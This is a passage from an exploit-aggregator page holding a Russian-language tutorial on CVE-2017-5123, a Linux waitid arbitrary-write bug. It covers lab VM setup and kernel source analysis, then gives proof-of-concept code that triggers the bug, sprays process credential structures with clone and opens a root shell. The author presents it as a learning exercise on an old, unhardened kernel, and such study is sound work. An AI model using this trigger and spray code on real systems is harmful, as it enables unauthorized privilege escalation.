Sploitus

Exploit for CVE-2017-5123 CVE-2017-11176 CVE-2017-5123

kitploit · 2026-08-25

Exploit Code

MARKDOWN588 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C3R34LK1LL3R-CVE-2017-5123
# CVE-2017-5123

PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR

> Реализация waitid в ванильных ядрах не ограничивала целевое назначение для копирования информации о результатах. Это может позволить локальным пользователям записывать в защищённую память ядра, что может привести к повышению привилегий.

## Введение

В этом небольшом руководстве я проанализирую уязвимость ядра, которая позволяет получить привилегии _root_.

Данный файл разделён на четыре части:

  1. Настройка VM;
  2. Анализ уязвимости;
  3. Эксплуатация;
  4. PoC.



Хочу отметить, что существуют гораздо лучшие способы эксплуатации этой CVE (действительно, это всего лишь _PoC_ для изучения ядра, его нельзя использовать _в реальных условиях_), но я считаю, что данная методология может быть полезна как введение в эксплуатацию ядра.

## Настройка VM

### Сборка ядра

Эта уязвимость была внедрена в коммите _4c48abe91be0_ , поэтому нам нужно собрать эту версию ядра.

Это может быть немного сложно, так как это старая версия, и код должен быть пропатчен. Я сделал репозиторий с уже пропатченным кодом ядра и файлом `.config`, так что вы можете _клонировать и собрать_.

root@kitploit:~
    
    
    git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
    cd kernel_mirror
    git checkout origin/modified_v4.14
    wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
    make -j 8 --output-sync=recurse
    

Обратите внимание, что это ядро будет собрано с драйверами _virtio_ , так что вы сможете использовать _virtio disk_ для обмена файлами между хостом и VM.

### Настройка Rootfs

Теперь создадим начальную _rootfs_ :

root@kitploit:~
    
    
    qemu-img create -f raw hda.raw 10G
    # Форматируем диск в ext4
    mkfs.ext4 ./hda.raw 
    # Создаём точку монтирования для образа
    mkdir /tmp/mount1
    # Монтируем диск
    sudo mount -o loop ./hda.raw /tmp/mount1
    

Затем следует установить базовый дистрибутив Linux, например, с помощью `pacstrap` или `debootstrap`.

root@kitploit:~
    
    
    sudo pacstrap /tmp/mount1 base base-devel vim
    

Наконец, можем модифицировать систему:

root@kitploit:~
    
    
    # Добавляем пользователя 'test'
    echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
    # без пароля
    echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
    # мы можем смонтировать virtio-диск для обмена файлами между хостом и гостем
    echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
    sudo mkdir -p /tmp/mount1/home/test/shared 
    # Полезно иметь права sudo
    echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
    echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
    
    sudo chown -R 1000:1000 /tmp/mount1/home/test
    sudo umount /tmp/mount1
    

Если всё в порядке, теперь можно протестировать нашу систему с _qemu_ :

root@kitploit:~
    
    
    qemu-system-x86_64 \
        -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
        -hda ./hda.raw \
        -m 4G \
        -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
        -smp 4 \
        -vga virtio \
        -enable-kvm \
        -nographic \
        -machine type=q35,accel=kvm \
        -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
        -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
        -chardev "vc,id=vc.0,cols=1920,rows=1080" \
        -net "user,hostfwd=tcp::10022-:22" \
        -net "nic" \
        -s
    

## Уязвимость

В описании CVE говорится о неограниченной операции записи во время системного вызова `waitid`.

Откроем `kernel/exit.c` и посмотрим код:

root@kitploit:~
    
    
    SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
    		infop, int, options, struct rusage __user *, ru)
    {
        struct rusage r;
        struct waitid_info info = {.status = 0};
        long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
        int signo = 0;
    
        if (err > 0) {
            signo = SIGCHLD;
            err = 0;
            if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
                return -EFAULT;
        }
        if (!infop)
            return err;
        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();
        return err;
    Efault:
        user_access_end();
        return -EFAULT;
    }
    

Эта функция довольно проста: после нескольких проверок следуют вызовы `unsafe_put_user(...)` и функция возвращается.

Основная часть функции состоит из вызовов `unsafe_put_user(...)`, поэтому перейдём к ним (`arch/x86/include/asm/uaccess.h`):

root@kitploit:~
    
    
    /*
     * The "unsafe" user accesses aren't really "unsafe", but the naming
     * is a big fat warning: you have to not only do the access_ok()
     * checking before using them, but you have to surround them with the
     * user_access_begin/end() pair.
     */
    #define user_access_begin()	__uaccess_begin()
    #define user_access_end()	__uaccess_end()
    
    #define unsafe_put_user(x, ptr, err_label)					\
    do {										\
        int __pu_err;								\
        __typeof__(*(ptr)) __pu_val = (x);					\
        __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
        if (unlikely(__pu_err)) goto err_label;					\
    } while (0)
    
    #define unsafe_get_user(x, ptr, err_label)					\
    do {										\
        int __gu_err;								\  
        __inttype(*(ptr)) __gu_val;						\
        __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
        (x) = (__force __typeof__(*(ptr)))__gu_val;				\
        if (unlikely(__gu_err)) goto err_label;					\
    } while (0)
    

В комментарии есть **жирное предупреждение** : если вы хотите использовать `unsafe_put/get_user`, вы должны сначала вызвать `access_ok()` и окружить их парой `user_access_begin/end()`.

Если посмотреть на предыдущий код (`waitid`), можно заметить, что `access_ok()` никогда не вызывается, поэтому системный вызов _нарушает_ это _предупреждение_.

Но что это за макросы?

### SMAP/SMEP

_SMAP_ и _SMEP_ — это две функции безопасности, внедрённые в ядро для усложнения написания эксплойтов. Следует отметить, что эти функции реализуются процессором.

_SMEP_ предотвращает **исполнение** пользовательского кода, когда процессор находится в режиме супервизора; _SMAP_ , напротив, блокирует **чтение/запись** в пользовательскую память.

Ядру необходимо читать/записывать данные в/из пользовательской памяти, и это можно сделать двумя способами:

  1. существуют функции (например, `copy_from_user`), которые позволяют копировать память в пространство ядра;
  2. временно отключить _SMAP_.



Как видно из определения `unsafe_put_user`, эта функция просто копирует значение `x` в память, на которую указывает `ptr` (и переходит к `err_label` в случае ошибки). Мы только что сказали, что ядро не может обращаться к пользовательскому пространству из-за _SMAP_ , и поэтому эти функции следует оборачивать между `user_access_begin/end()`.

root@kitploit:~
    
    
    #define __uaccess_begin() stac()
    #define __uaccess_end()   clac()
    

Как видим, `user_access_begin/end` — это просто _ASM_ -инструкции `stac` и `clac`.

  * `stac`: «Устанавливает флаг AC в регистре EFLAGS. Это может включить проверку выравнивания для доступа к данным в режиме пользователя. Это разрешает явный доступ к пользовательским страницам в режиме супервизора, даже если бит SMAP установлен в регистре CR4.»
  * `clac`: «Сбрасывает флаг AC в регистре EFLAGS. Это отключает любую проверку выравнивания для доступа к данным в режиме пользователя. Если бит SMAP установлен в регистре CR4, это запрещает явный доступ к пользовательским страницам в режиме супервизора.»



По сути, эти два макроса включают/отключают _SMAP_.

В нашем предыдущем «предупреждении» также упоминается функция `access_ok`:

root@kitploit:~
    
    
    /**
     * access_ok: - Проверяет, корректен ли указатель на пользовательское пространство
     * @type: Тип доступа: %VERIFY_READ или %VERIFY_WRITE. Обратите внимание, что
     *        %VERIFY_WRITE является надмножеством %VERIFY_READ — если безопасно
     *        записывать в блок, то всегда безопасно и читать из него.
     * @addr: Указатель на пользовательское пространство на начало блока для проверки
     * @size: Размер блока для проверки
     *
     * Контекст: Только пользовательский контекст. Эта функция может засыпать, если
     *           включены ошибки страниц.
     *
     * Проверяет, корректен ли указатель на блок памяти в пользовательском пространстве.
     *
     * Возвращает true (ненулевое значение), если блок памяти может быть корректен,
     * false (ноль), если он определённо некорректен.
     *
     * Обратите внимание, что в зависимости от архитектуры эта функция, вероятно,
     * просто проверяет, что указатель находится в диапазоне пользовательского пространства —
     * после вызова этой функции функции доступа к памяти всё ещё могут вернуть -EFAULT.
     */
    #define access_ok(type, addr, size)					\
    ({									\
    	WARN_ON_IN_IRQ();						\
    	likely(!__range_not_ok(addr, size, user_addr_max()));		\
    })
    

Комментарий здесь говорит сам за себя: этот макрос проверяет, является ли указатель корректным **пользовательским указателем**.

### Произвольная запись

Давайте ещё раз взглянем на код `waitid`:

root@kitploit:~
    
    
    	user_access_begin();
    	unsafe_put_user(signo, &infop->si_signo, Efault);
    	unsafe_put_user(0, &infop->si_errno, Efault);
    	unsafe_put_user(info.cause, &infop->si_code, Efault);
    	unsafe_put_user(info.pid, &infop->si_pid, Efault);
    	unsafe_put_user(info.uid, &infop->si_uid, Efault);
    	unsafe_put_user(info.status, &infop->si_status, Efault);
    	user_access_end();
    

Как вы уже догадались, отсутствие `access_ok()` приводит к _произвольной записи куда угодно_ в памяти, потому что указатель `infop` полностью контролируется атакующим.

### Вызов ошибки

Очень легко достичь уязвимого пути, и мы можем создать _триггер_ следующим простым кодом:

root@kitploit:~
    
    
    int thread_ready;
    int die_thread(void *arg){
        thread_ready=1;
        syscall(__NR_sched_yield);
        return 0;
    }
    void *stack;
    int trigger_bug(uint64_t where, int what){
      printf("[0] Trying to overwrite 0x%016lx\r", where);
      //int pid = fork(); // Также можно использовать fork
      thread_ready = 0; 
      int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
      int err;
      while(thread_ready == 0) {syscall(__NR_sched_yield);} // Ждём поток
      err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
      return err;
    }
    

Этот простой код вызовет уязвимость и запишет в память по адресу **where**.

Мы можем использовать _gdb_ , если хотим проверить этот триггер. Например, выберем _произвольный_ адрес и используем функцию `trigger_bug` для его перезаписи.

## Эксплуатация

Эту уязвимость можно эксплуатировать разными способами, но я предпочитаю очень простой подход.

Помните, что мы можем записывать куда угодно, но записываемые данные частично контролируются. Мы можем перезаписать адрес значением **0**.

Основная идея — перезаписать _UID_ нашего процесса и стать _root_ , но сначала нужно понять, что такое учётные данные в Linux.

### Fork

Начнём с изучения системного вызова _fork_. Эта функция используется для создания новых процессов.

Посмотрим код в `kernel/fork.c`:

root@kitploit:~
    
    
    SYSCALL_DEFINE0(fork)
    {
    	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
    }
    

Итак, системный вызов `fork` — это просто обёртка для `_do_fork` с _жёстко заданными_ параметрами.

Эта последняя функция немного длинная, но её можно кратко описать так:

root@kitploit:~
    
    
    long _do_fork(unsigned long clone_flags,
    	      unsigned long stack_start,
    	      unsigned long stack_size,
    	      int __user *parent_tidptr,
    	      int __user *child_tidptr,
    	      unsigned long tls)
    {
    	struct task_struct *p;
    	int trace = 0;
    	long nr;
      ......
    
      // Это создаст ещё одну task_struct, но НЕ запустит процесс.
    	p = copy_process(clone_flags, stack_start, stack_size,
    			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
    	add_latent_entropy();
      ......
        // Пробуждает новую задачу. Это переведёт задачу в состояние RUNNING и поставит её в очередь выполнения.
    		wake_up_new_task(p);
      ......
    		put_pid(pid);
    	} else {
    		nr = PTR_ERR(p);
    	}
    	return nr;
    }
    

Эта функция выделяет новый объект `task_struct`. Хотя эта структура очень важна (она описывает процесс), мы сосредоточимся на поле `cred`:

root@kitploit:~
    
    
    ...
    	/* Учётные данные процесса: */
    	/* Учётные данные трассировщика при прикреплении: */
    	const struct cred __rcu		*ptracer_cred;
    
    	/* Объективные и реальные субъективные учётные данные задачи (COW): */
    	const struct cred __rcu		*real_cred;
    
    	/* Эффективные (переопределяемые) субъективные учётные данные задачи (COW): */
    	const struct cred __rcu		*cred;
      ...
    

Как видим, есть (три) указателя на `struct cred`. Посмотрим, как устроена эта структура (`include/linux/cred.h`):

root@kitploit:~
    
    
    struct cred {
    	atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    	atomic_t	subscribers;	/* количество подписанных процессов */
    	void		*put_addr;
    	unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
    	kuid_t		uid;		/* реальный UID задачи */
    	kgid_t		gid;		/* реальный GID задачи */
    	kuid_t		suid;		/* сохранённый UID задачи */
    	kgid_t		sgid;		/* сохранённый GID задачи */
    	kuid_t		euid;		/* эффективный UID задачи */
    	kgid_t		egid;		/* эффективный GID задачи */
    	kuid_t		fsuid;		/* UID для операций VFS */
    	kgid_t		fsgid;		/* GID для операций VFS */
      ......
    

Как видно, _UID_ процесса — это просто _unsigned integer_ (следуя определению _kuid_t_), так что мы можем просто перезаписать это значение на `0`, чтобы стать _root_.

### Copy_process

Структура `task_struct` выделяется в функции `copy_process`, которая довольно сложна и её основная цель — «скопировать» процесс в новый.

Мы можем сосредоточиться на `copy_creds(p, clone_flags)`, которая определена как:

root@kitploit:~
    
    
    /*
     * Копирует учётные данные для нового процесса, созданного fork()
     *
     * Мы разделяем, если можем, но при некоторых обстоятельствах приходится генерировать новый
     * набор.
     *
     * Новый процесс получает субъективные учётные данные текущего процесса в качестве
     * своих объективных и субъективных учётных данных.
     */
    int copy_creds(struct task_struct *p, unsigned long clone_flags)
    {
    	struct cred *new;
    	int ret;
    
    	if (
    #ifdef CONFIG_KEYS
    		!p->cred->thread_keyring &&
    #endif
    		clone_flags & CLONE_THREAD
    	    ) {
    		p->real_cred = get_cred(p->cred);
    		get_cred(p->cred);
    		alter_cred_subscribers(p->cred, 2);
    		kdebug("share_creds(%p{%d,%d})",
    		       p->cred, atomic_read(&p->cred->usage),
    		       read_cred_subscribers(p->cred));
    		atomic_inc(&p->cred->user->processes);
    		return 0;
    	}
    
    	new = prepare_creds();
    	if (!new)
    		return -ENOMEM;
    
    	if (clone_flags & CLONE_NEWUSER) {
    		ret = create_user_ns(new);
    		if (ret < 0)
    			goto error_put;
    	}
    
    .........
    
    error_put:
    	put_cred(new);
    	return ret;
    }
    

Как видно, эта функция вызывает `prepare_creds`, где и происходит реальное выделение памяти.

Теперь у нас есть путь для выделения (псевдо)произвольного количества _struct cred_ :

  1. `_do_fork()`
  2. `copy_process()`
  3. `copy_creds()`



Последняя проблема — как вызвать `_do_fork()` из пользовательского пространства. Можно использовать `fork`, но это может быть медленно, поэтому мы будем использовать `clone`.

**Примечание** : мы не можем использовать `pthread` из-за флагов: если посмотреть на код `copy_creds`, можно заметить путь, где структура не выделяется по-настоящему.

## Собираем всё вместе

Теперь небольшое резюме:

  1. мы можем вызвать ошибку и записать в память;
  2. мы знаем, что можем записать `0` в память;
  3. мы знаем, что если перезаписать _UID_ какого-либо процесса на `0`, он получает права _root_.



Теперь нужно знать, **куда** записывать в память, и хотя KASLR отключён, адрес одной `struct cred` недостаточно стабилен, поэтому я решил применить _memory spraying_.

## Spraying

Нам нужно найти `struct cred` в памяти, чтобы определить диапазон адресов. Можно использовать _gdb_ и _python_ со скриптом вроде этого:

root@kitploit:~
    
    
    ....
    for task in task_lists():
        #gdb.write("{address} {pid} {comm}\n".format(
        #    address=task,
        #    pid=task["pid"],
        #    comm=task["comm"].string()))
        comm = task["comm"].string()
        # Вставьте имя вашего исполняемого файла
        if comm == "exploit":
            print(task['cred'])
    ....
    

**Примечание** : этот скрипт работает только с отключённым KASLR и с отладочными символами (нужен указатель `init_task`). Можно попробовать несколько раз и заметить, что куча растёт вниз, поэтому можно попробовать нижний адрес и двигаться вверх.

Теперь можно использовать системный вызов `clone` для порождения множества процессов, и с помощью _gdb_ проверить адреса:

root@kitploit:~
    
    
    stack=malloc(STACK_SIZE)+STACK_SIZE;
      for(x=0;x<MAX_THREADS;x++){
        stackTop = malloc(STACK_SIZE) + STACK_SIZE;
        if (!stackTop){
          perror("[-] Malloc");
          return -1;
        }
        // Функция spray_thread может быть просто бесконечным циклом
        pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
        if (pid == -1){
          perror("\n\nCLONE");
          return -1;
        }
        printf("[0] Process created: %d\r", x);
        }
    

**Примечание** : возможно, вы не сможете создать более 4k процессов. Проверьте _ulimits_, если это так.

## PoC

Наконец, напишем наш _PoC_.

Достаточно вызвать `trigger_bug` с разными адресами (в поисках структуры), в то время как наши порождённые потоки будут проверять свой _UID_ , например так:

root@kitploit:~
    
    
    struct shared_area{
      int one_win;
    };
    struct shared_area glob_var;
    
    // Порождённый поток
    int spray_thread(void *arg){
      int uid;
      int previous_one = syscall(__NR_getuid);
      // Цикл по getUID
      while(1){
        uid = syscall(__NR_getuid);
        //printf("UID: %d\n",uid);
        // Если возвращённый UID отличается от предыдущего, значит мы попали в область struct cred
        if (uid != previous_one){
          printf("WIN!! with %d", uid);
          // Убиваем остальные потоки для стабилизации системы
          glob_var.one_win = 1;
          // Просто запускаем shell
          system("/bin/sh");
        }
        if(glob_var.one_win == 1)
          return 1;
      }
      return 0;
    }
    

Вероятность попадания в структуру — 50%, так что после нескольких попыток вы получите права _root_.

![Root](https://assets.kitploit.com/production/public/readmes/23651/adaac4712c55f607fb92fd8ac9d352dcd2f30164b9b3a4655bcb9089f2874c24.png)

## Заключение

Это (базовый) _PoC_ , и spraying далёк от совершенства. Это всего лишь «введение» в удивительный мир ядра; я пропустил много концепций, но они чрезвычайно важны (например, управление памятью). Если хотите изучить глубже, загляните в `prepare_creds` и выделение памяти.

KASLR отключён, но эта уязвимость позволяет обойти и эту защиту (`unsafe_put_user` не падает при неверном адресе), но я не считаю, что добавление нового «слоя» брутфорса полезно, если ваша цель — изучить ядро. Если ваша цель — использовать эту уязвимость _в реальных условиях_ , вы должны написать другой эксплойт (как минимум, другой spraying).

Пища для размышлений: я использовал эту уязвимость для понимания и опробования техники `ret2dir` (Подсказка: можно инициировать запись по псевдоадресу, а модификацию читать с пользовательским адресом).

## Ссылки

  * https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  * https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html